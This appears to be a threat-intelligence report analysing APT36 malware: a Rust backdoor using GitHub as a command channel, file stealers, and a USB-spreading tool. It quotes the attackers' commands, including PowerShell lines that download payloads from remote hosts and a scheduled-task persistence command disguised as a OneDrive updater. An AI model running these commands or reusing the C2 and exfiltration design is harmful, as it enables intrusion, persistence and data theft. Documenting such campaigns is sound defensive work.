Technical Analysis

In the following sections, ThreatLabz provides a technical analysis of the campaign, including its new malware tooling and post-compromise activity.

RUSTYSHADE

RUSTYSHADE is a new 64-bit Windows backdoor written in Rust that abuses attacker-controlled private GitHub repositories for C2 communication. Some of its functionality is similar to GITSHELLPAD, which we observed in the GOGITTER campaign. However, notable differences include support for encrypted C2 communication, new C2 commands, and the use of Rust instead of Golang.

During post-compromise activity, APT36 deployed RUSTYSHADE on compromised systems using the following command:

powershell wget https://f005.backblazeb2[.]com/file/Clients-easy/DriverInstaller.zip -o ww.zip

C2 communication

RUSTYSHADE uses the GitHub REST API as its C2 channel. A GitHub personal access token (PAT) is hardcoded in cleartext within the binary and is used to authenticate and interact with the threat actor's private GitHub repository through the REST API with the following information:

API Endpoint Template: https://api.github.com/repos/[owner]/[repo]/contents/[path]?ref=[branch]&t=[timestamp]
Authentication: Authorization: token [PAT] header
Accept Header: application/vnd.github.v3+json

All messages exchanged between RUSTYSHADE and the GitHub repositories are encrypted using AES-256-GCM.

Encryption algorithm

RUSTYSHADE encrypts C2 messages as follows:

• Derives a 32-byte AES key from the SHA256 hash of the GitHub PAT.
• Generates a random 12-byte nonce using BCryptGenRandom.
• Uses AES-256-GCM to encrypt plaintext resulting in a ciphertext and a 16-byte authentication tag. This 16-byte authentication tag is used by AES-256-GCM for integrity verification.
• Formats the encrypted data as: nonce[12] || ciphertext || tag[16]. The 12-byte nonce serves as the prefix, while the final 16 bytes contain the authentication tag.
• Base64-encodes the formatted message listed above.
• Prepends the HCENC1: prefix to the Base64-encoded data.

The resulting message has the following format:

HCENC1:[base64(nonce || ciphertext || tag)]

To decrypt the message, RUSTYSHADE removes the HCENC1 prefix, Base64-decodes the remaining data, and decrypts it using AES-256-GCM.

Command tasking mechanism

RUSTYSHADE reads and writes specific filenames in the private GitHub repository to synchronize the communication between the infected machines and the C2 server. The filenames are listed in the table below.

Table 1: Files used for commands, beacons, and exfiltrated data by RUSTYSHADE.

The threat actor issues commands and receives the resulting output in the GitHub C2 repository as follows.

• Threat actor side: The threat actor encrypts the command using the previously described encryption algorithm and commits it to the command.txt file.
• Infected machine side: RUSTYSHADE polls the GitHub REST API and retrieves, decrypts, and executes the new command from command.txt. It then encrypts the command output and uploads it to the GitHub repository as results.txt.

Commands use the following format:

[COMMAND][:{arg}]

A colon ( : ) or space separates the command name from its argument.

C2 commands

The table below lists C2 commands supported by RUSTYSHADE.

Table 2: C2 commands supported by RUSTYSHADE.

PSNATCH

During our analysis of post-compromise activity, ThreatLabz observed the threat actor retrieving a next-stage PowerShell-based file stealer from an attacker-controlled GitHub gist. We named this PowerShell script PSNATCH. Its primary purpose is to steal files from infected machines and exfiltrate them to the threat actor's private GitHub repositories.

PSNATCH has the following key capabilities:

• Recursively scans preconfigured directories, including Desktop, Downloads, Documents, OneDrive (personal + commercial), and drives ‘D:’ through ‘H:’. It collects files that meet the following criteria:
  • Have extensions associated with a broad range of file types, including Microsoft Office documents, images, archives, media, executables, scripts, and databases.
  • Were modified within the last 120 days. Collection is limited to 1 GB per file and 5 GB per execution.
• Authenticates with the threat actor’s private GitHub repository using a hardcoded GitHub PAT.
• Creates a private repository named after the infected machine. Each infected machine is assigned its own repository.
• Exfiltrates data using the GitHub Contents API.
• Specifies SmartUploader as the custom User-Agent in all requests to the GitHub API.
• Organizes exfiltrated data into date-stamped folders using the format yyyy-MM-dd/[SourceFolder]/...
• Maintains a local tracking file located at %APPDATA%\SmartUploader\uploaded_files.json that maps between file paths and last-modified timestamps. This is done to ensure only new/modified files are uploaded on subsequent runs, enabling incremental exfiltration across repeated executions.

BASHNATCH

BASHNATCH is the Linux variant of PSNATCH. The threat actor used this Bash script to target Linux environments. It scans the same preconfigured directories and file extensions as the Windows variant. BASHNATCH uses ~/.local/share/SmartUploader/uploaded_files.json to track previously exfiltrated files.

RUSTYMOVE

RUSTYMOVE is a lightweight 64-bit Windows USB propagation tool written in Rust. Its sole function is to continuously monitor for external removable media (e.g., USB, SD, MMC, and IEEE 1394 devices) and copy the following two pre-staged malicious files to the root directory of each detected external drive.

• C:\Users\Public\Documents\DriverInstaller.zip: Contains the RUSTYSHADE executable described in the previous section.
• C:\Users\Public\Documents\DocScanner-11-Aug-2026-5-37pm.pdf.LNK: ThreatLabz cannot confirm the exact LNK target command, but assess with high-confidence that this LNK executes the RUSTYSHADE executable contained in the DriverInstaller.zip (after it has been extracted).

The binary contains no embedded payloads or encryption capabilities, and does not communicate with network-based C2 infrastructure. RUSTYMOVE functions solely as a lateral movement component. Its limited functionality and reliance on hardcoded paths to pre-staged files suggest that RUSTYMOVE may be in an early stage of development.

During post-compromise activity, APT36 deployed RUSTYMOVE on a compromised machine using the following:

cd C:\Users\Public\AccountPictures
dir
powershell wget hxxps://clients-easy.s3.us-east-005.backblazeb2[.]com/Automata-20.zip -o d.zip
dir
tar -xvf d.zip
dir
Start-Process -FilePath ".\Automata-20.exe"
powershell.exe -NoProfile -Command "$t='StandAloneOneDriveUpdater-2626';$a=New-ScheduledTaskAction -Execute 'C:\Users\Public\AccountPictures\Automata-20.exe';$tr=New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME;Register-ScheduledTask -TaskName $t -Action $a -Trigger $tr -User $env:USERNAME -Force"
schtasks /Query /TN "StandAloneOneDriveUpdater-2626" /V /FO LIST

The scheduled task launches RUSTYMOVE when a user logs on. Its name, StandAloneOneDriveUpdater-2626, is intended to make it appear as a legitimate service.

The following sections summarize RUSTYMOVE’s execution flow.

RUSTYMOVE enters an infinite loop that executes two main functions: external drive discovery and file propagation. The malware pauses for 2 seconds between iterations.

External drive discovery

RUSTYMOVE executes the following embedded PowerShell script using CreateProcessW to enumerate external drives.

powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "
Get-Volume | Where-Object DriveLetter | ForEach-Object {
   $letter = $_.DriveLetter
   $part = Get-Partition -DriveLetter $letter -ErrorAction SilentlyContinue
   if (-not $part) { return }
   $disk = Get-Disk -Number $part.DiskNumber -ErrorAction SilentlyContinue
   if (-not $disk) { return }
   $external = ($disk.BusType -in @('USB','1394','SD','MMC')) -or
               ($disk.MediaType -in @('Removable Media','External hard disk media'))
   if ($external -and $_.UniqueId) {
       Write-Output ('{0}|{1}' -f $letter, $_.UniqueId)
   }
}
"

The output of the PowerShell script is parsed for strings containing \\?\Volume.

For each valid external drive, RUSTYMOVE converts the drive letter to uppercase and executes the following PowerShell command to retrieve the volume’s UniqueId.

Get-Volume -DriveLetter [X] -ErrorAction SilentlyContinue | Select-Object -ExpandProperty UniqueId

File propagation

For each detected external drive mount point, RUSTYMOVE performs the following actions:

• Uses a HashMap, keyed by the external drive’s volume UniqueId, to track which external drives have already been infected.
• Iterates through an array containing the 2 pre-staged malicious files and:
  • Extracts the filename.
  • Constructs the destination path as [DriveLetter]:\[filename].
  • Checks if the destination already exists on the external removable media.
  • If the file is not present, the malware copies it using CopyFileExW.
  • If the copy succeeds, the malware writes "Copied: [path]" to log.txt.
• After processing both source files, RUSTYMOVE logs the following messages to log.txt:
  • If files were copied: "Success [N] user(s)."
  • If no files were copied: "No new files copied (already on drive, missing source, or copy failed)."

Post-compromise activity

During our investigation, ThreatLabz observed post-compromise activity from APT36 operators, including system, user, and network reconnaissance commands, and the deployment of next-stage payloads. Most of the activity took place between August 20, 2026 and September 1, 2026. 

ThreatLabz analyzed the timestamps associated with the C2 commands and found that the threat actor issues commands only between 4:00 a.m. and 11:00 a.m. UTC. The figure below shows the distribution of C2 commands by hour of the day.

Figure 1: Distribution of Operation RapidRust C2 commands by hour of the day.

ThreatLabz also analyzed the commands by date. As shown in the figure below, all observed activity occurred on weekdays, with no activity observed during the two weekends included in the analysis period.

Figure 2: Operation RapidRust C2 activity by date.

The table below summarizes RUSTYSHADE C2 commands executed by the threat actor during the observed post-compromise activity.

Table 3: Post-compromise commands executed by APT36.